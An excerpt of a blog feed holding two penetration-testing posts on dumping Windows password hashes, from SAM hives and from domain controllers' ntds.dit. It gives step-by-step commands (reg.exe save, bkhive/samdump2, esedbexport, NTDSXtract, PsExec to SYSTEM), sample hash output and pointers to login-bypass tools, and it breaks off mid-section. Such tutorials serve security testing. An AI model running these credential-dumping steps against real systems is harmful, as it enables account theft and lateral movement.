&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ wget http://csababarta.com/downloads/ntds_dump_hash.zip&lt;br /&gt;$ unzip ntds_dump_hash.zip&lt;br /&gt;$ cd libesedb&lt;br /&gt;$ ./configure &amp;amp;&amp;amp; make&lt;/span&gt;&lt;/blockquote&gt;
Use &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;esedbdumphash&lt;/span&gt; to extract the datatable from &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;ntds.dit&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;:&lt;/span&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ cd esedbtools&lt;br /&gt;$ ./esedbdumphash -v -t /tmp/output &amp;lt;ntds.dit file&amp;gt;&lt;ntds.dit file=&quot;&quot;&gt;&lt;br /&gt;$ ls -1 /tmp/output.export/&lt;br /&gt;datatable&lt;/ntds.dit&gt;&lt;/span&gt;&lt;/blockquote&gt;
Use &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;dsdump.py&lt;/span&gt; to dump the hashes from the &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;datatable&lt;/span&gt;&amp;nbsp;file using the bootkey (SYSKEY) from the &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SYSTEM&lt;/span&gt; hive:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ cd ../../creddump/&lt;br /&gt;$ chmod +x *.py&lt;br /&gt;$ ./dsuserinfo.py /tmp/output.export/datatable&lt;br /&gt;$ ./dsdump.py &amp;lt;SYSTEM file&amp;gt;&lt;system file=&quot;&quot;&gt;&amp;nbsp;/tmp/output.export/datatable --include-locked --include-disabled &amp;gt; domain_hashes.txt&lt;/system&gt;&lt;/span&gt;&lt;/blockquote&gt;
Like standalone machines, you can use the in-memory technique too to dump the domain users&#39; hashes. The tools are the same and work equally. Just be cautious when injecting into the LSASS process of a domain controller: in the worst case scenario, you will have to reboot an infrastructure-critical server.&lt;br /&gt;
&lt;br /&gt;
I have added these tools and improved the &lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0Ak-eXPencMnydGhwR1VvamhlNEljVHlJdVkxZ2RIaWc&quot;&gt;&lt;b&gt;spread-sheet&lt;/b&gt;&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Updates on January 4, 2012&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
During December 2011,&amp;nbsp;&lt;a href=&quot;http://csababarta.com/&quot;&gt;Csaba Barta&lt;/a&gt;&amp;nbsp;has dug &lt;a href=&quot;http://csababarta.com/downloads/ntdsxtract/ntds_forensics.pdf&quot;&gt;some more into NTDS.dit&lt;/a&gt; structure and as a result he has developed a new framework called &lt;a href=&quot;http://csababarta.com/en/ntdsxtract.html&quot;&gt;&lt;b&gt;NTDSXtract&lt;/b&gt;&lt;/a&gt;&amp;nbsp;to extract information from database tables extracted with &lt;a href=&quot;http://sourceforge.net/projects/libesedb/&quot;&gt;libesedb&lt;/a&gt; from ntds.dit file: both tools now support 64-bit derived database files too.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Download and install the latest release of &lt;a href=&quot;http://sourceforge.net/projects/libesedb/files/&quot;&gt;libesedb&lt;/a&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Extract the database tables from &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;ntds.dit&lt;/span&gt;:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ esedbexport -l /tmp/esedbexport.log -t /tmp/ntds.dit&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;lt;ntds.dit file&amp;gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;br /&gt;esedbexport 20111210&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Opening file.&lt;br /&gt;Exporting table 1 (MSysObjects) out of 12.&lt;br /&gt;Exporting table 2 (MSysObjectsShadow) out of 12.&lt;br /&gt;Exporting table 3 (MSysUnicodeFixupVer2) out of 12.&lt;br /&gt;Exporting table 4 (datatable) out of 12.&lt;br /&gt;Exporting table 5 (hiddentable) out of 12.&lt;br /&gt;Exporting table 6 (link_table) out of 12.&lt;br /&gt;Exporting table 7 (sdpropcounttable) out of 12.&lt;br /&gt;Exporting table 8 (sdproptable) out of 12.&lt;br /&gt;Exporting table 9 (sd_table) out of 12.&lt;br /&gt;Exporting table 10 (MSysDefrag2) out of 12.&lt;br /&gt;Exporting table 11 (quota_table) out of 12.&lt;br /&gt;Exporting table 12 (quota_rebuild_progress_table) out of 12.&lt;br /&gt;Export completed.&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ ls -1 /tmp/ntds.dit.export/&lt;br /&gt;datatable.3&lt;br /&gt;hiddentable.4&lt;br /&gt;link_table.5&lt;br /&gt;[...]&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
Use&amp;nbsp;&lt;a href=&quot;http://csababarta.com/en/ntdsxtract.html&quot;&gt;NTDSXtract&lt;/a&gt;&amp;nbsp;to parse the datatable and extract users&#39; information, including password hashes and history:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;~/NTDSXtract 1.0$ python dsusers.py /tmp/ntds.dit.export/datatable.3 /tmp/ntds.dit.export/link_table.5 --passwordhashes&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;lt;SYSTEM file&amp;gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;nbsp;--passwordhistory&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;lt;SYSTEM file&amp;gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;nbsp;--certificates --supplcreds&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;lt;SYSTEM file&amp;gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;nbsp;--membership &amp;gt; /tmp/ntds.dit.output&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
Use &lt;a href=&quot;https://raw.github.com/inquisb/miscellaneous/master/ntdstopwdump.py&quot;&gt;this small script&lt;/a&gt; that I have put together to process the output of&amp;nbsp;&lt;a href=&quot;http://csababarta.com/en/ntdsxtract.html&quot;&gt;NTDSXtract&lt;/a&gt;&#39;s &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;dsusers.py&lt;/span&gt; into a &quot;pwdump-alike&quot; penetration tester&#39;s friendly format:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;$ python ntdstopwdump.py /tmp/ntds.dit.output&lt;br /&gt;Administrator:500:NO PASSWORD*********************:09b1708f0ea4832b6d87b0ce07d7764b:::&lt;br /&gt;Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::&lt;br /&gt;[...]&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/3008619554861237544/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/3008619554861237544' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/3008619554861237544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/3008619554861237544'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes_16.html' title='Dump Windows password hashes efficiently - Part 2'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-3867072356339579490</id><published>2011-12-14T17:07:00.001+00:00</published><updated>2012-03-07T15:15:51.079+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dump"/><category scheme="http://www.blogger.com/atom/ns#" term="hash"/><category scheme="http://www.blogger.com/atom/ns#" term="keimpx"/><category scheme="http://www.blogger.com/atom/ns#" term="metasploit"/><category scheme="http://www.blogger.com/atom/ns#" term="passwords"/><category scheme="http://www.blogger.com/atom/ns#" term="physical"/><category scheme="http://www.blogger.com/atom/ns#" term="registry"/><category scheme="http://www.blogger.com/atom/ns#" term="sam"/><category scheme="http://www.blogger.com/atom/ns#" term="tool"/><category scheme="http://www.blogger.com/atom/ns#" term="vss"/><category scheme="http://www.blogger.com/atom/ns#" term="windows"/><title type='text'>Dump Windows password hashes efficiently - Part 1</title><content type='html'>&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;Windows Security Account Manager&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Slightly modified definition from &lt;a href=&quot;http://en.wikipedia.org/wiki/Security_Accounts_Manager&quot;&gt;Wikipedia&lt;/a&gt;:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;i&gt;The &lt;b&gt;Security Accounts Manager&lt;/b&gt; (SAM) is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Windows_registry&quot;&gt;registry&lt;/a&gt; file in &lt;a href=&quot;http://en.wikipedia.org/wiki/Windows_NT&quot;&gt;Windows NT&lt;/a&gt;&amp;nbsp;and later versions until the most recent&amp;nbsp;&lt;a href=&quot;http://en.wikipedia.org/wiki/Windows_7&quot;&gt;Windows 7&lt;/a&gt;. &lt;b&gt;It stores users&#39; &lt;a href=&quot;http://en.wikipedia.org/wiki/Password&quot;&gt;passwords&lt;/a&gt; in a hashed format (in &lt;a href=&quot;http://en.wikipedia.org/wiki/LM_hash&quot;&gt;LM hash&lt;/a&gt;&amp;nbsp;and &lt;a href=&quot;http://en.wikipedia.org/wiki/NTLM&quot;&gt;NTLM&lt;/a&gt; hash)&lt;/b&gt;. Since a &lt;a href=&quot;http://en.wikipedia.org/wiki/Hash_function&quot;&gt;hash function&lt;/a&gt; is one-way, this provides some measure of security for the storage of the passwords.&lt;/i&gt;&lt;/blockquote&gt;
&lt;div&gt;
Generally, dumping operating system users&#39; password hashes is a common action following a compromise of a machine: getting access to the password hashes might open the doors to a variety of attacks including, but not limited to, &lt;a href=&quot;http://bernardodamele.blogspot.com/2009/12/keimpx-in-action.html&quot;&gt;authenticate with the hash over SMB&lt;/a&gt; to other systems where passwords are reused, password policy analysis and pattern recognition, password cracking, etc.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Depending on the type of access that you have got to the target, you can retrieve the password hashes from SAM in different ways.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;Physical access&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Given physical access to the system, typically during a &lt;i&gt;laptop assessment&lt;/i&gt;&amp;nbsp;or a successful &lt;i&gt;social engineering&lt;/i&gt; engagement, the preferred way to safely dump the password hashes is to power off the machine, enter the BIOS menu at power-on time, review the boot order to allow boot from the optical drive and USB drive before local hard-disk, save the settings and reboot the system with your favourite GNU/Linux live distribution CD or USB stick. Two widely known tools to dump the local users&#39; hashes from the SAM file, given the Windows file system block file, are bkhive and samdump2:&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;bkhive&lt;/b&gt; - dumps the syskey bootkey from a Windows system hive.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;samdump2&lt;/b&gt; - dumps Windows 2k/NT/XP/Vista password hashes.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
These tools are generally included in many GNU/Linux live distributions. If they&#39;re not, make sure to bring a copy of them with you.&lt;/div&gt;
&lt;div&gt;
Usage:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;# bkhive&lt;br /&gt;bkhive 1.1.1 by Objectif Securite&lt;br /&gt;http://www.objectif-securite.ch&lt;br /&gt;original author: ncuomo@studenti.unina.it&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Usage:&lt;br /&gt;bkhive systemhive keyfile&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;# samdump2&lt;br /&gt;samdump2 1.1.1 by Objectif Securite&lt;br /&gt;http://www.objectif-securite.ch&lt;br /&gt;original author: ncuomo@studenti.unina.it&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Usage:&lt;br /&gt;samdump2 samhive keyfile&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
Example of retrieving the SAM hashes from a Windows partition /dev/sda1:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;# mkdir -p /mnt/sda1&lt;br /&gt;# mount /dev/sda1 /mnt/sda1&lt;br /&gt;# bkhive /mnt/sda1/Windows/System32/config/SYSTEM /tmp/saved-syskey.txt&lt;br /&gt; # samdump2 /mnt/sda1/Windows/System32/config/SAM /tmp/saved-syskey.txt &amp;gt; /tmp/hashes.txt&lt;/span&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
In the event that you have not got bkhive or samdump2 with you, you can fall-back to copy the &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SYSTEM&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt; and&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SAM &lt;/span&gt;files from &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;/mnt/sda1/Windows/System32/config&lt;/span&gt; to your USB stick and import them to any tool that is able to extract the SAM hashes from them:&amp;nbsp;&lt;a href=&quot;http://www.oxid.it/cain.html&quot;&gt;&lt;b&gt;Cain &amp;amp; Abel&lt;/b&gt;&lt;/a&gt;, &lt;a href=&quot;http://code.google.com/p/creddump/&quot;&gt;&lt;b&gt;creddump&lt;/b&gt;&lt;/a&gt; and&amp;nbsp;&lt;b&gt;&lt;a href=&quot;http://blog.gentilkiwi.com/mimikatz&quot;&gt;mimikatz&lt;/a&gt;&lt;/b&gt;&amp;nbsp;are some available tools.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Bypass login prompt&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
If you are looking into bypassing the login prompt rather than dumping users&#39; password hashes, some smart people have came up with innovative approaches:&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.eeye.com/Resources/Security-Center/Research/Tools/BootRoot&quot;&gt;BootRoot&lt;/a&gt; is a project presented at Black Hat USA 2005 by researchers Derek Soeder and Ryan Permeh, as an exploration of technology that custom boot sector code can use to subvert the Windows kernel as it loads. The eEye BootRootKit is a boot sector-based NDIS backdoor that demonstrates the implementation of this technology.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.eeye.com/Resources/Security-Center/Research/Tools/SysRQ2&quot;&gt;SysRQ2&lt;/a&gt; is a bootable CD image that allows a user to open a fully privileged (SYSTEM) command prompt on Windows 2000, Windows XP, and Windows Server 2003 systems by pressing Ctrl+Shift+SysRq at any time after startup. It was first demonstrated at Black Hat USA 2005 by researchers Derek Soeder and Ryan Permeh as an example of applied eEye BootRoot technology. Use the &quot;create CD from ISO image&quot; feature of your preferred CD burning software to create a bootable SysRq CD.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.piotrbania.com/all/kon-boot/&quot;&gt;Kon-Boot&lt;/a&gt; is an prototype piece of software which allows to change contents of a linux kernel and Windows kernel on the fly (while booting). In the current compilation state it allows to log into a linux system as &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;root&lt;/span&gt; user without typing the correct password or to elevate privileges from current user to &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;root&lt;/span&gt;. For Windows systems it allows to enter any password protected profile without any knowledge of the password.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;Password reset&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
Alternatively you can boot the machine with the &lt;a href=&quot;http://pogostick.net/~pnh/ntpasswd/bootdisk.html&quot;&gt;bootdisk&lt;/a&gt; live CD or USB stick and use the &lt;a href=&quot;http://pogostick.net/~pnh/ntpasswd/walkthrough.html&quot;&gt;chntpw&lt;/a&gt; utility to reset any Windows local user&#39;s credentials.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Post-exploitation scenario&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The typical scenario here is that you &lt;a href=&quot;http://bernardodamele.blogspot.com/2010/01/privilege-escalation-on-windows-hotness.html&quot;&gt;have&lt;/a&gt; &lt;a href=&quot;http://bernardodamele.blogspot.com/2009/11/abuse-citrix-and-own-domain.html&quot;&gt;compromised&lt;/a&gt; a Windows machine by any means and have got shell access as an administrative user. Firstly, you need to escalate your privileges to &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SYSTEM&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;&lt;/span&gt;user. A simple way is to use Sysinternals&#39; &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb897553&quot;&gt;PsExec&lt;/a&gt; utility:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&amp;gt;psexec.exe -i -s cmd.exe&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
Although, there are several other techniques too, but this is outside of the scope of this post.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Legacy techniques&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
On Windows NT and Windows 2000 systems you can use&amp;nbsp;&lt;b&gt;&lt;a href=&quot;http://technet.microsoft.com/en-us/library/bb490952.aspx&quot;&gt;Ntbackup&lt;/a&gt;&lt;/b&gt; utility part of the MS-DOS subsystem: Backup the system state into a file locally on the machine you have compromised, then using Ntbackup again, restore the system state stuff to a local directory without preserving the security. Once complete, you will have the &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SAM&lt;/span&gt; and &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SYSTEM&lt;/span&gt; files. You need about 280Mb for the initial backup - typical for a Windows 2000 with current service packs and hot fixes.&lt;br /&gt;
On modern releases of Windows, you can use &lt;a href=&quot;http://technet.microsoft.com/en-us/library/cc754015%28v=ws.10%29.aspx&quot;&gt;&lt;b&gt;Wbadmin&lt;/b&gt;&lt;/a&gt;, an alternative to Ntbackup.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Another solution is to use &lt;a href=&quot;http://technet.microsoft.com/en-us/library/cc758453(WS.10).aspx&quot;&gt;&lt;b&gt;regback.exe&lt;/b&gt;&lt;/a&gt; part of the &lt;a href=&quot;http://technet.microsoft.com/en-us/library/cc939136.aspx&quot;&gt;Windows 2000 Resource Kit Tools&lt;/a&gt;. This is slightly easier as it only dumps the specific files:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&amp;gt;regback.exe C:\backtemp\SAM machine sam&lt;br /&gt;C:\&amp;gt;regback.exe C:\backtemp\SYSTEM machine system&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
If you cannot get regback.exe to work, on Windows XP and above systems use &lt;a href=&quot;http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/tools_regeditors.mspx?mfr=true&quot;&gt;&lt;b&gt;regedit.exe&lt;/b&gt;&lt;/a&gt; or &lt;a href=&quot;http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/reg.mspx?mfr=true&quot;&gt;&lt;b&gt;reg.exe&lt;/b&gt;&lt;/a&gt;.&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;Using reg.exe&lt;/span&gt;:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\&amp;gt;reg.exe save HKLM\SAM sam&lt;br /&gt;The operation completed successfully&lt;br /&gt;C:\&amp;gt;reg.exe save HKLM\SYSTEM sys&lt;br /&gt;The operation completed successfully&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
Using regedit.exe:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Execute &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;regedit.exe&lt;/span&gt; from Start / Run prompt.&lt;/li&gt;
&lt;li&gt;Open up &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Computer\HKEY_LOCAL_MACHINE&lt;/span&gt; and right-click the &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SAM&lt;/span&gt; section and select &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Export&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;Change the &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Save as type&lt;/span&gt; setting to &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Registry Hive Files&lt;/span&gt; and save as &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SAM&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;Same steps with &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SYSTEM&lt;/span&gt;&amp;nbsp;hive.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
Lastly, you can also get the&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SAM&lt;/span&gt;&amp;nbsp;and&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SYSTEM&lt;/span&gt;&amp;nbsp;files from &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;b&gt;C:\Windows\repair\&lt;/b&gt;&lt;/span&gt;. Although this directory contains outdated copies of the original &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\Windows\System32\config\&lt;/span&gt;&amp;nbsp;files so it might not reflect the current users&#39; credentials.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Volume Shadow Copies technique&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This technique is fairly recent and was first &lt;a href=&quot;http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html&quot;&gt;illustrated&lt;/a&gt; by &lt;a href=&quot;http://lanmaster53.com/&quot;&gt;Tim Tomes&lt;/a&gt;. It consists of abusing the Volume Shadow Copies functionality in modern Windows operating systems to access locked system files like&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;C:\Windows\System32\config&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&#39;s&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SAM&lt;/span&gt; and &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SYSTEM&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt; and others.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
You can use the Volume Shadow Copy Management command line interface, &lt;a href=&quot;http://tools.lanmaster53.com/vssown.vbs&quot;&gt;&lt;b&gt;vssown&lt;/b&gt;&lt;/a&gt;, to leverage this technique as follows.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
List shadow copies:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
